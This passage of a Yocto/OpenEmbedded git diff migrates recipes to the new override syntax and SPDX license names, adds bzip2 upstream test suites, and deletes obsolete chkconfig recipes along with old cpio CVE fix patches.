@@ -24,11 +25,11 @@ PACKAGECONFIG ??= "readline"
PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
PACKAGECONFIG[libedit] = "--with-libedit,--without-libedit,libedit"
-do_compile_prepend() {
+do_compile:prepend() {
cp -f ${WORKDIR}/libmath.h ${B}/bc/libmath.h
}
-ALTERNATIVE_${PN} = "bc dc"
+ALTERNATIVE:${PN} = "bc dc"
ALTERNATIVE_PRIORITY = "100"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/blktool/blktool_4-7.1.bb b/meta/recipes-extended/blktool/blktool_4-7.1.bb
index ff2eaa5352..bb44befb56 100644
--- a/meta/recipes-extended/blktool/blktool_4-7.1.bb
+++ b/meta/recipes-extended/blktool/blktool_4-7.1.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "blktool is used for querying and/or changing settings \
of a block device. It is like hdparm but a more general tool, as it \
works on SCSI, IDE and SATA devices."
HOMEPAGE = "http://packages.debian.org/unstable/admin/blktool"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://blktool.c;beginline=7;endline=8;md5=a5e798ea98fd50972088968a15e5f373"
diff --git a/meta/recipes-extended/bzip2/bzip2/Makefile.am b/meta/recipes-extended/bzip2/bzip2/Makefile.am
index dcf64584d9..d12d3a45e4 100644
--- a/meta/recipes-extended/bzip2/bzip2/Makefile.am
+++ b/meta/recipes-extended/bzip2/bzip2/Makefile.am
@@ -1,6 +1,6 @@
lib_LTLIBRARIES = libbz2.la
-libbz2_la_LDFLAGS = -version-info 1:6:0
+libbz2_la_LDFLAGS = -version-info 1:8:0
libbz2_la_SOURCES = blocksort.c \
huffman.c \
@@ -46,6 +46,7 @@ runtest:
else echo "FAIL: sample2 decompress"; fi
@if cmp sample3.tst sample3.ref; then echo "PASS: sample3 decompress";\
else echo "FAIL: sample3 decompress"; fi
+ ./bzip2-tests/run-tests.sh --without-valgrind --tests-dir="$(PWD)/bzip2-tests"
install-ptest:
sed -n '/^runtest:/,/^install-ptest:/{/^install-ptest:/!p}' \
diff --git a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
index 8e9b779e67..78138d1543 100644
--- a/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
+++ b/meta/recipes-extended/bzip2/bzip2_1.0.8.bb
@@ -4,10 +4,25 @@ Huffman coding. Compression is generally considerably better than that achieved
LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors."
HOMEPAGE = "https://sourceware.org/bzip2/"
SECTION = "console/utils"
-LICENSE = "bzip2"
-LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664"
+LICENSE = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+LICENSE:${PN} = "bzip2-1.0.6"
+LICENSE:${PN}-dev = "bzip2-1.0.6"
+LICENSE:${PN}-dbg = "bzip2-1.0.6"
+LICENSE:${PN}-doc = "bzip2-1.0.6"
+LICENSE:${PN}-src = "bzip2-1.0.6"
+LICENSE:libbz2 = "bzip2-1.0.6"
+LICENSE:${PN}-ptest = "bzip2-1.0.6 & GPL-3.0-or-later & Apache-2.0 & MS-PL & BSD-3-Clause & Zlib"
+
+LIC_FILES_CHKSUM = "file://LICENSE;beginline=4;endline=37;md5=600af43c50f1fcb82e32f19b32df4664 \
+ file://${WORKDIR}/git/commons-compress/LICENSE.txt;md5=86d3f3a95c324c9479bd8986968f4327 \
+ file://${WORKDIR}/git/dotnetzip/License.txt;md5=9cb56871eed4e748c3bc7e8ff352a54f \
+ file://${WORKDIR}/git/dotnetzip/License.zlib.txt;md5=cc421ccd22eeb2e5db6b79e6de0a029f \
+ file://${WORKDIR}/git/go/LICENSE;md5=5d4950ecb7b26d2c5e4e7b4e0dd74707 \
+ file://${WORKDIR}/git/lbzip2/COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+"
SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
+ git://sourceware.org/git/bzip2-tests.git;name=bzip2-tests;branch=master \
file://configure.ac;subdir=${BP} \
file://Makefile.am;subdir=${BP} \
file://run-ptest \
@@ -15,31 +30,41 @@ SRC_URI = "https://sourceware.org/pub/${BPN}/${BPN}-${PV}.tar.gz \
SRC_URI[md5sum] = "67e051268d0c475ea773822f7500d0e5"
SRC_URI[sha256sum] = "ab5a03176ee106d3f0fa90e381da478ddae405918153cca248e682cd0c4a2269"
+SRCREV_bzip2-tests = "f9061c030a25de5b6829e1abf373057309c734c0"
+
UPSTREAM_CHECK_URI = "https://www.sourceware.org/pub/bzip2/"
PACKAGES =+ "libbz2"
-CFLAGS_append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
+CFLAGS:append = " -fPIC -fpic -Winline -fno-strength-reduce -D_FILE_OFFSET_BITS=64"
inherit autotools update-alternatives ptest relative_symlinks
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "bunzip2 bzcat bzip2"
+ALTERNATIVE:${PN} = "bunzip2 bzcat bzip2"
#install binaries to bzip2-native under sysroot for replacement-native
-EXTRA_OECONF_append_class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
+EXTRA_OECONF:append:class-native = " --bindir=${STAGING_BINDIR_NATIVE}/${PN}"
-do_configure_prepend () {
+do_configure:prepend () {
sed -i -e "s|%BZIP2_VERSION%|${PV}|" ${S}/configure.ac
}
do_install_ptest () {
+ install -d ${D}${PTEST_PATH}/bzip2-tests
+ cp -r ${WORKDIR}/git/commons-compress ${D}${PTEST_PATH}/bzip2-tests/commons-compress
+ cp -r ${WORKDIR}/git/dotnetzip ${D}${PTEST_PATH}/bzip2-tests/dotnetzip
+ cp -r ${WORKDIR}/git/go ${D}${PTEST_PATH}/bzip2-tests/go
+ cp -r ${WORKDIR}/git/lbzip2 ${D}${PTEST_PATH}/bzip2-tests/lbzip2
+ cp -r ${WORKDIR}/git/pyflate ${D}${PTEST_PATH}/bzip2-tests/pyflate
+ cp ${WORKDIR}/git/README ${D}${PTEST_PATH}/bzip2-tests/
+ cp ${WORKDIR}/git/run-tests.sh ${D}${PTEST_PATH}/bzip2-tests/
sed -i -e "s|^Makefile:|_Makefile:|" ${D}${PTEST_PATH}/Makefile
}
-FILES_libbz2 = "${libdir}/lib*${SOLIBS}"
+FILES:libbz2 = "${libdir}/lib*${SOLIBS}"
-RDEPENDS_${PN}-ptest += "make"
+RDEPENDS:${PN}-ptest += "make bash"
-PROVIDES_append_class-native = " bzip2-replacement-native"
+PROVIDES:append:class-native = " bzip2-replacement-native"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb b/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb
deleted file mode 100644
index 87fa8eb605..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig-alternatives-native_1.3.59.bb
+++ /dev/null
@@ -1,44 +0,0 @@
-require recipes-extended/chkconfig/chkconfig_1.3.58.bb
-
-SUMMARY = "${SUMMARY_chkconfig-alternatives}"
-DESCRIPTION = "${DESCRIPTION_chkconfig-alternatives}"
-DEPENDS = ""
-PROVIDES += "virtual/update-alternatives-native"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# The sysroot branch is 1.3.59 + some git commits from master + --sysroot
-# support for alternatives.
-SRC_URI = "git://github.com/kergoth/chkconfig;branch=sysroot"
-S = "${WORKDIR}/git"
-UPSTREAM_CHECK_GITTAGREGEX = "chkconfig-(?P<pver>(\d+(\.\d+)+))"
-
-SRCREV = "cd437ecbd8986c894442f8fce1e0061e20f04dee"
-PV = "1.3.59+${SRCPV}"
-
-inherit native
-
-# We want our native recipes to build using the target paths rather than paths
-# into the sysroot, as we may use them to construct the rootfs. As such, we
-# only adjust the paths to match the metadata for the target, not native.
-obey_variables () {
- sed -i 's,ALTERNATIVES_ROOT,OPKG_OFFLINE_ROOT,' ${S}/alternatives.c
-}
-
-do_compile () {
- oe_runmake alternatives
-}
-
-do_install () {
- install -d ${D}${sysconfdir}/alternatives \
- ${D}${localstatedir}/lib/alternatives
-
- install -D -m 0755 alternatives ${D}${bindir}/alternatives
- install -D -m 0644 alternatives.8 ${D}${mandir}/man8/alternatives.8
-
- ln -s alternatives ${D}${bindir}/update-alternatives
- ln -s alternatives.8 ${D}${mandir}/man8/update-alternatives.8
-}
-
-do_install_append_linuxstdbase() {
- rm -rf ${D}${libdir}/lsb
-}
diff --git a/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch b/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch
deleted file mode 100644
index 96d1938791..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig/replace_caddr_t.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-caddr_t is a legacy BSD type which was rejected by the POSIX standard.
-Use void * instead.
-
-sys/unitstd.h is not needed and moreover its not available on all C library
-implementations e.g. musl
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Index: chkconfig-1.3.58/alternatives.c
-===================================================================
---- chkconfig-1.3.58.orig/alternatives.c
-+++ chkconfig-1.3.58/alternatives.c
-@@ -22,7 +22,6 @@
- #include <stdio.h>
- #include <string.h>
- #include <sys/stat.h>
--#include <sys/unistd.h>
- #include <unistd.h>
-
- #define FLAGS_TEST (1 << 0)
-Index: chkconfig-1.3.58/leveldb.c
-===================================================================
---- chkconfig-1.3.58.orig/leveldb.c
-+++ chkconfig-1.3.58/leveldb.c
-@@ -442,7 +442,7 @@ int parseServiceInfo(int fd, char * name
- fstat(fd, &sb);
-
- bufstart = mmap(NULL, sb.st_size, PROT_READ, MAP_SHARED, fd, 0);
-- if (bufstart == ((caddr_t) -1)) {
-+ if (bufstart == ((void*) -1)) {
- close(fd);
- return -1;
- }
diff --git a/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb b/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb
deleted file mode 100644
index d21dd69704..0000000000
--- a/meta/recipes-extended/chkconfig/chkconfig_1.3.58.bb
+++ /dev/null
@@ -1,71 +0,0 @@
-SUMMARY = "A system tool for maintaining the /etc/rc*.d hierarchy"
-DESCRIPTION = "Chkconfig is a basic system utility. It updates and queries runlevel \
-information for system services. Chkconfig manipulates the numerous \
-symbolic links in /etc/rc.d, to relieve system administrators of some \
-of the drudgery of manually editing the symbolic links."
-
-RECIPE_NO_UPDATE_REASON = "Version 1.5 requires selinux"
-
-HOMEPAGE = "https://github.com/fedora-sysv"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=5574c6965ae5f583e55880e397fbb018"
-
-DEPENDS = "libnewt popt"
-PROVIDES += "virtual/update-alternatives"
-
-PR = "r7"
-
-S = "${WORKDIR}/${BPN}-${BPN}-${PV}"
-
-SRC_URI = "git://github.com/fedora-sysv/chkconfig.git \
- file://replace_caddr_t.patch \
- "
-
-SRCREV = "3e0b3909ff6328d232b27b9c32f1a9309c6cd0a4"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
-
-S = "${WORKDIR}/git"
-
-inherit gettext
-
-# Makefile uses RPM_OPT_FLAGS to construct CFLAGS
-#
-EXTRA_OEMAKE = "\
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
- 'BINDIR=${base_sbindir}' \
- 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' \
- 'ALTDIR=${localstatedir}/lib/alternatives' \
- 'ALTDATADIR=${sysconfdir}/alternatives' \
-"
-
-do_unpack[postfuncs] += "obey_variables"
-do_unpack[vardeps] += "obey_variables"
-obey_variables () {
- sed -i -e 's,/etc,${sysconfdir},; s,/lib/systemd,${base_libdir}/systemd,' ${S}/leveldb.h
- sed -i -e 's,/etc/alternatives,${sysconfdir}/alternatives,' \
- -e 's,/var/lib/alternatives,${localstatedir}/lib/alternatives,' \
- -e 's,/usr/share/locale,${datadir}/locale,' ${S}/alternatives.c
-}
-
-do_install() {
- oe_runmake 'DESTDIR=${D}' 'INSTALLNLSDIR=${D}${datadir}/locale' \
- 'BINDIR=${sbindir}' install
- install -d ${D}${sysconfdir}/chkconfig.d
-}
-
-PACKAGES =+ "${PN}-alternatives ${PN}-alternatives-doc"
-SUMMARY_${PN}-alternatives = "Maintain symbolic links determining default commands"
-DESCRIPTION_${PN}-alternatives = "alternatives creates, removes, maintains and displays \
-information about the symbolic links comprising the alternatives system."
-SUMMARY_${PN}-alternatives-doc = "${SUMMARY_${PN}-alternatives} - Documentation files"
-DESCRIPTION_${PN}-alternatives-doc = "${DESCRIPTION_${PN}-alternatives} \
-This package contains documentation."
-RPROVIDES_${PN}-alternatives += "update-alternatives"
-RCONFLICTS_${PN}-alternatives = "update-alternatives-opkg update-alternatives-dpkg"
-FILES_${PN}-alternatives = "${sbindir}/alternatives ${sbindir}/update-alternatives \
- ${sysconfdir}/alternatives ${localstatedir}/lib/alternatives"
-FILES_${PN}-alternatives-doc = "${mandir}/man8/alternatives.8 \
- ${mandir}/man8/update-alternatives.8"
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-CVE-2016-2037-1-byte-out-of-bounds-write.patch b/meta/recipes-extended/cpio/cpio-2.12/0001-CVE-2016-2037-1-byte-out-of-bounds-write.patch
deleted file mode 100644
index 0a3054483c..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-CVE-2016-2037-1-byte-out-of-bounds-write.patch
+++ /dev/null
@@ -1,346 +0,0 @@
-From ebf9a2d776474181936a720ce811d72bbd1da3b6 Mon Sep 17 00:00:00 2001
-From: Pavel Raiskup <praiskup@redhat.com>
-Date: Tue, 26 Jan 2016 23:17:54 +0100
-Subject: [PATCH] CVE-2016-2037 - 1 byte out-of-bounds write
-
-Ensure that cpio_safer_name_suffix always works with dynamically
-allocated buffer, and that it has size of at least 32 bytes.
-Then, any call to cpio_safer_name_suffix is safe (it requires at
-least 2 bytes in the buffer).
-
-Also ensure that c_namesize is always correctly initialized (by
-cpio_set_c_name) to avoid undefined behavior when reading
-file_hdr.c_namesize (previously happened for tar archives).
-
-References:
-http://www.mail-archive.com/bug-cpio@gnu.org/msg00545.html
-
-* src/copyin.c (query_rename): Drop the hack, as we now work with
-dynamically allocated buffer. Use cpio_set_c_name.
-(create_defered_links_to_skipped): Use cpio_set_c_name rather than
-manual assignment.
-(read_name_from_file): New function to avoid C&P.
-(read_in_old_ascii, read_in_new_ascii, read_in_binary): Use
-read_name_from_file.
-(process_copy_in): Initialize file_hdr.c_namesize.
-* src/copyout.c (process_copy_out): Use cpio_set_c_name.
-* src/cpiohdr.h (cpio_set_c_name): New prototype.
-* src/tar.c (read_in_tar_header): Use cpio_set_c_name.
-* src/util.c (cpio_set_c_name): New function to set
-file_hdr->c_name and c_namesize from arbitrary string.
-(cpio_safer_name_suffix): Some docs fixes.
-* tests/inout.at: Also test copy-in, and try various formats.
-
-CVE: CVE-2016-2037
-
-Upstream-Status: Backport [http://git.savannah.gnu.org/cgit/cpio.git/commit/?id=d36ec5f4e93130efb24fb9678aafd88e8070095b]
-
-Signed-off-by: Andre McCurdy <armccurdy@gmail.com>
----
- src/copyin.c | 68 +++++++++++++++++++---------------------------------------
- src/copyout.c | 13 +++++------
- src/cpiohdr.h | 1 +
- src/tar.c | 10 +++++----
- src/util.c | 32 ++++++++++++++++++++++++++-
- tests/inout.at | 19 ++++++++++++++--
- 6 files changed, 82 insertions(+), 61 deletions(-)
-
-diff --git a/src/copyin.c b/src/copyin.c
-index cde911e..972f8a6 100644
---- a/src/copyin.c
-+++ b/src/copyin.c
-@@ -76,28 +76,7 @@ query_rename(struct cpio_file_stat* file_hdr, FILE *tty_in, FILE *tty_out,
- return -1;
- }
- else
-- /* Debian hack: file_hrd.c_name is sometimes set to
-- point to static memory by code in tar.c. This
-- causes a segfault. This has been fixed and an
-- additional check to ensure that the file name
-- is not too long has been added. (Reported by
-- Horst Knobloch.) This bug has been reported to
-- "bug-gnu-utils@prep.ai.mit.edu". (99/1/6) -BEM */
-- {
-- if (archive_format != arf_tar && archive_format != arf_ustar)
-- {
-- free (file_hdr->c_name);
-- file_hdr->c_name = xstrdup (new_name.ds_string);
-- }
-- else
-- {
-- if (is_tar_filename_too_long (new_name.ds_string))
-- error (0, 0, _("%s: file name too long"),
-- new_name.ds_string);
-- else
-- strcpy (file_hdr->c_name, new_name.ds_string);
-- }
-- }
-+ cpio_set_c_name (file_hdr, new_name.ds_string);
- return 0;
- }
-
-@@ -344,8 +323,7 @@ create_defered_links_to_skipped (struct cpio_file_stat *file_hdr,
- d_prev->next = d->next;
- else
- deferments = d->next;
-- free (file_hdr->c_name);
-- file_hdr->c_name = xstrdup(d->header.c_name);
-+ cpio_set_c_name (file_hdr, d->header.c_name);
- free_deferment (d);
- copyin_regular_file(file_hdr, in_file_des);
- return 0;
-@@ -1064,6 +1042,22 @@ read_in_header (struct cpio_file_stat *file_hdr, int in_des)
- }
- }
-
-+static void
-+read_name_from_file (struct cpio_file_stat *file_hdr, int fd, uintmax_t len)
-+{
-+ static char *tmp_filename;
-+ static size_t buflen;
-+
-+ if (buflen < len)
-+ {
-+ buflen = len;
-+ tmp_filename = xrealloc (tmp_filename, buflen);
-+ }
-+
-+ tape_buffered_read (tmp_filename, fd, len);
-+ cpio_set_c_name (file_hdr, tmp_filename);
-+}
-+
- /* Fill in FILE_HDR by reading an old-format ASCII format cpio header from
- file descriptor IN_DES, except for the magic number, which is
- already filled in. */
-@@ -1090,14 +1084,8 @@ read_in_old_ascii (struct cpio_file_stat *file_hdr, int in_des)
- file_hdr->c_rdev_min = minor (dev);
-
- file_hdr->c_mtime = FROM_OCTAL (ascii_header.c_mtime);
-- file_hdr->c_namesize = FROM_OCTAL (ascii_header.c_namesize);
- file_hdr->c_filesize = FROM_OCTAL (ascii_header.c_filesize);
--
-- /* Read file name from input. */
-- if (file_hdr->c_name != NULL)
-- free (file_hdr->c_name);
-- file_hdr->c_name = (char *) xmalloc (file_hdr->c_namesize + 1);
-- tape_buffered_read (file_hdr->c_name, in_des, (long) file_hdr->c_namesize);
-+ read_name_from_file (file_hdr, in_des, FROM_OCTAL (ascii_header.c_namesize));
-
- /* HP/UX cpio creates archives that look just like ordinary archives,
- but for devices it sets major = 0, minor = 1, and puts the
-@@ -1152,14 +1140,8 @@ read_in_new_ascii (struct cpio_file_stat *file_hdr, int in_des)
- file_hdr->c_dev_min = FROM_HEX (ascii_header.c_dev_min);
- file_hdr->c_rdev_maj = FROM_HEX (ascii_header.c_rdev_maj);
- file_hdr->c_rdev_min = FROM_HEX (ascii_header.c_rdev_min);
-- file_hdr->c_namesize = FROM_HEX (ascii_header.c_namesize);
- file_hdr->c_chksum = FROM_HEX (ascii_header.c_chksum);
--
-- /* Read file name from input. */
-- if (file_hdr->c_name != NULL)
-- free (file_hdr->c_name);
-- file_hdr->c_name = (char *) xmalloc (file_hdr->c_namesize);
-- tape_buffered_read (file_hdr->c_name, in_des, (long) file_hdr->c_namesize);
-+ read_name_from_file (file_hdr, in_des, FROM_HEX (ascii_header.c_namesize));
-
- /* In SVR4 ASCII format, the amount of space allocated for the header
- is rounded up to the next long-word, so we might need to drop
-@@ -1207,16 +1189,9 @@ read_in_binary (struct cpio_file_stat *file_hdr,
- file_hdr->c_rdev_min = minor (short_hdr->c_rdev);
- file_hdr->c_mtime = (unsigned long) short_hdr->c_mtimes[0] << 16
- | short_hdr->c_mtimes[1];
--
-- file_hdr->c_namesize = short_hdr->c_namesize;
- file_hdr->c_filesize = (unsigned long) short_hdr->c_filesizes[0] << 16
- | short_hdr->c_filesizes[1];
--
-- /* Read file name from input. */
-- if (file_hdr->c_name != NULL)
-- free (file_hdr->c_name);
-- file_hdr->c_name = (char *) xmalloc (file_hdr->c_namesize);
-- tape_buffered_read (file_hdr->c_name, in_des, (long) file_hdr->c_namesize);
-+ read_name_from_file (file_hdr, in_des, short_hdr->c_namesize);
-
- /* In binary mode, the amount of space allocated in the header for
- the filename is `c_namesize' rounded up to the next short-word,
-@@ -1297,6 +1272,7 @@ process_copy_in ()
- read_pattern_file ();
- }
- file_hdr.c_name = NULL;
-+ file_hdr.c_namesize = 0;
-
- if (rename_batch_file)
- {
-diff --git a/src/copyout.c b/src/copyout.c
-index 1f0987a..bb39559 100644
---- a/src/copyout.c
-+++ b/src/copyout.c
-@@ -660,8 +660,7 @@ process_copy_out ()
- cpio_safer_name_suffix (input_name.ds_string, false,
- !no_abs_paths_flag, true);
- #ifndef HPUX_CDF
-- file_hdr.c_name = input_name.ds_string;
-- file_hdr.c_namesize = strlen (input_name.ds_string) + 1;
-+ cpio_set_c_name (&file_hdr, input_name.ds_string);
- #else
- if ( (archive_format != arf_tar) && (archive_format != arf_ustar) )
- {
-@@ -670,16 +669,15 @@ process_copy_out ()
- properly recreate the directory as hidden (in case the
- files of a directory go into the archive before the
- directory itself (e.g from "find ... -depth ... | cpio")). */
-- file_hdr.c_name = add_cdf_double_slashes (input_name.ds_string);
-- file_hdr.c_namesize = strlen (file_hdr.c_name) + 1;
-+ cpio_set_c_name (&file_hdr,
-+ add_cdf_double_slashes (input_name.ds_string));
- }
- else
- {
- /* We don't mark CDF's in tar files. We assume the "hidden"
- directory will always go into the archive before any of
- its files. */
-- file_hdr.c_name = input_name.ds_string;
-- file_hdr.c_namesize = strlen (input_name.ds_string) + 1;
-+ cpio_set_c_name (&file_hdr, input_name.ds_string);
- }
- #endif
-
-@@ -866,8 +864,7 @@ process_copy_out ()
- file_hdr.c_chksum = 0;
-
- file_hdr.c_filesize = 0;
-- file_hdr.c_namesize = 11;
-- file_hdr.c_name = CPIO_TRAILER_NAME;
-+ cpio_set_c_name (&file_hdr, CPIO_TRAILER_NAME);
- if (archive_format != arf_tar && archive_format != arf_ustar)
- write_out_header (&file_hdr, out_file_des);
- else
-diff --git a/src/cpiohdr.h b/src/cpiohdr.h
-index b29e6fb..f4c63be 100644
---- a/src/cpiohdr.h
-+++ b/src/cpiohdr.h
-@@ -129,5 +129,6 @@ struct cpio_file_stat /* Internal representation of a CPIO header */
- char *c_tar_linkname;
- };
-
-+void cpio_set_c_name(struct cpio_file_stat *file_hdr, char *name);
-
- #endif /* cpiohdr.h */
-diff --git a/src/tar.c b/src/tar.c
-index a2ce171..e41f89d 100644
---- a/src/tar.c
-+++ b/src/tar.c
-@@ -282,7 +282,7 @@ read_in_tar_header (struct cpio_file_stat *file_hdr, int in_des)
- if (null_block ((long *) &tar_rec, TARRECORDSIZE))
- #endif
- {
-- file_hdr->c_name = CPIO_TRAILER_NAME;
-+ cpio_set_c_name (file_hdr, CPIO_TRAILER_NAME);
- return;
- }
- #if 0
-@@ -316,9 +316,11 @@ read_in_tar_header (struct cpio_file_stat *file_hdr, int in_des)
- }
-
- if (archive_format != arf_ustar)
-- file_hdr->c_name = stash_tar_filename (NULL, tar_hdr->name);
-+ cpio_set_c_name (file_hdr, stash_tar_filename (NULL, tar_hdr->name));
- else
-- file_hdr->c_name = stash_tar_filename (tar_hdr->prefix, tar_hdr->name);
-+ cpio_set_c_name (file_hdr, stash_tar_filename (tar_hdr->prefix,
-+ tar_hdr->name));
-+
- file_hdr->c_nlink = 1;
- file_hdr->c_mode = FROM_OCTAL (tar_hdr->mode);
- file_hdr->c_mode = file_hdr->c_mode & 07777;
-@@ -398,7 +400,7 @@ read_in_tar_header (struct cpio_file_stat *file_hdr, int in_des)
- case AREGTYPE:
- /* Old tar format; if the last char in filename is '/' then it is
- a directory, otherwise it's a regular file. */
-- if (file_hdr->c_name[strlen (file_hdr->c_name) - 1] == '/')
-+ if (file_hdr->c_name[file_hdr->c_namesize - 1] == '/')
- file_hdr->c_mode |= CP_IFDIR;
- else
- file_hdr->c_mode |= CP_IFREG;
-diff --git a/src/util.c b/src/util.c
-index 6ff6032..4f3c073 100644
---- a/src/util.c
-+++ b/src/util.c
-@@ -1410,8 +1410,34 @@ set_file_times (int fd,
- utime_error (name);
- }
-
-+
-+void
-+cpio_set_c_name (struct cpio_file_stat *file_hdr, char *name)
-+{
-+ static size_t buflen = 0;
-+ size_t len = strlen (name) + 1;
-+
-+ if (buflen == 0)
-+ {
-+ buflen = len;
-+ if (buflen < 32)
-+ buflen = 32;
-+ file_hdr->c_name = xmalloc (buflen);
-+ }
-+ else if (buflen < len)
-+ {
-+ buflen = len;
-+ file_hdr->c_name = xrealloc (file_hdr->c_name, buflen);
-+ }
-+
-+ file_hdr->c_namesize = len;
-+ memmove (file_hdr->c_name, name, len);
-+}
-+
- /* Do we have to ignore absolute paths, and if so, does the filename
-- have an absolute path? */
-+ have an absolute path? Before calling this function make sure that the
-+ allocated NAME buffer has capacity at least 2 bytes. */
-+
- void
- cpio_safer_name_suffix (char *name, bool link_target, bool absolute_names,
- bool strip_leading_dots)
-@@ -1426,6 +1452,10 @@ cpio_safer_name_suffix (char *name, bool link_target, bool absolute_names,
- ++p;
- }
- if (p != name)
-+ /* The 'p' string is shortened version of 'name' with one exception; when
-+ the 'name' points to an empty string (buffer where name[0] == '\0') the
-+ 'p' then points to static string ".". So caller needs to ensure there
-+ are at least two bytes available in 'name' buffer so memmove succeeds. */
- memmove (name, p, (size_t)(strlen (p) + 1));
- }
-
-diff --git a/tests/inout.at b/tests/inout.at
-index 60c3716..730cbd2 100644
---- a/tests/inout.at
-+++ b/tests/inout.at
-@@ -35,7 +35,22 @@ while read NAME LENGTH
- do
- genfile --length $LENGTH > $NAME
- echo $NAME
--done < filelist |
-- cpio --quiet -o > archive])
-+done < filelist > filelist_raw
-+
-+for format in bin odc newc crc tar ustar hpbin hpodc
-+do
-+ cpio --format=$format --quiet -o < filelist_raw > archive.$format
-+ rm -rf output
-+ mkdir output && cd output
-+ cpio -i --quiet < ../archive.$format
-+
-+ while read file
-+ do
-+ test -f $file || echo "$file not found"
-+ done < ../filelist_raw
-+
-+ cd ..
-+done
-+])
-
- AT_CLEANUP
---
-1.9.1
-
diff --git a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch b/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch
deleted file mode 100644
index 5c999197ff..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.12/0001-Fix-CVE-2015-1197.patch
+++ /dev/null
@@ -1,178 +0,0 @@
-From dcee489f821c1260a0136fcdfdb6ff4dd11086ac Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 9 Dec 2015 17:58:03 +0200
-Subject: [PATCH] Fix CVE-2015-1197
-
-Apply patch by Vitezslav Cizek of SuSE to fix CVE-2015-1197.
-Upstream is dormant or no longer existing. To restore the old
-behaviour use --extract-over-symlinks (Closes: #774669)
-This issue has been discovered by Alexander Cherepanov.
-Author: Vitezslav Cizek <vcizek@suse.cz>
-Bug-Debian: https://bugs.debian.org/774669
-
-Upstream-Status: Pending
-CVE: CVE-2015-1197
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- doc/cpio.1 | 1 +
- src/copyin.c | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
- src/extern.h | 1 +
- src/global.c | 3 +++
- src/main.c | 7 +++++++
- 5 files changed, 74 insertions(+)
-
-diff --git a/doc/cpio.1 b/doc/cpio.1
-index 2a68241..dc4676c 100644
---- a/doc/cpio.1
-+++ b/doc/cpio.1
-@@ -49,6 +49,7 @@ cpio \- copy files to and from archives
- [\fB\-\-no\-preserve\-owner\fR] [\fB\-\-message=\fIMESSAGE\fR]
- [\fB\-\-force\-local\fR] [\fB\-\-no\-absolute\-filenames\fR] [\fB\-\-sparse\fR]
- [\fB\-\-only\-verify\-crc\fR] [\fB\-\-to\-stdout\fR] [\fB\-\-quiet\fR]
-+[\fB\-\-extract\-over\-symlinks\fR]
- [\fB\-\-rsh\-command=\fICOMMAND\fR]
- [\fIpattern\fR...] [\fB<\fR \fIarchive\fR]
-
-diff --git a/src/copyin.c b/src/copyin.c
-index cde911e..053afe7 100644
---- a/src/copyin.c
-+++ b/src/copyin.c
-@@ -695,6 +695,51 @@ copyin_link (struct cpio_file_stat *file_hdr, int in_file_des)
- free (link_name);
- }
-
-+
-+static int
-+path_contains_symlink(char *path)
-+{
-+ struct stat st;
-+ char *slash;
-+ char *nextslash;
-+
-+ /* we got NULL pointer or empty string */
-+ if (!path || !*path) {
-+ return false;
-+ }
-+
-+ slash = path;
-+
-+ while ((nextslash = strchr(slash + 1, '/')) != NULL) {
-+ slash = nextslash;
-+ *slash = '\0';
-+
-+ if (lstat(path, &st) != 0) {
-+ if (errno == ELOOP) {
-+ /* ELOOP - too many symlinks */
-+ *slash = '/';
-+ return true;
-+ } else if (errno == ENOMEM) {
-+ /* No memory for lstat - terminate */
-+ xalloc_die();
-+ } else {
-+ /* cannot lstat path - give up */
-+ *slash = '/';
-+ return false;
-+ }
-+ }
-+
-+ if (S_ISLNK(st.st_mode)) {
-+ *slash = '/';
-+ return true;
-+ }
-+
-+ *slash = '/';
-+ }
-+
-+ return false;
-+}
-+
- static void
- copyin_file (struct cpio_file_stat *file_hdr, int in_file_des)
- {
-@@ -1468,6 +1513,23 @@ process_copy_in ()
- {
- /* Copy the input file into the directory structure. */
-
-+ /* Can we write files over symlinks? */
-+ if (!extract_over_symlinks)
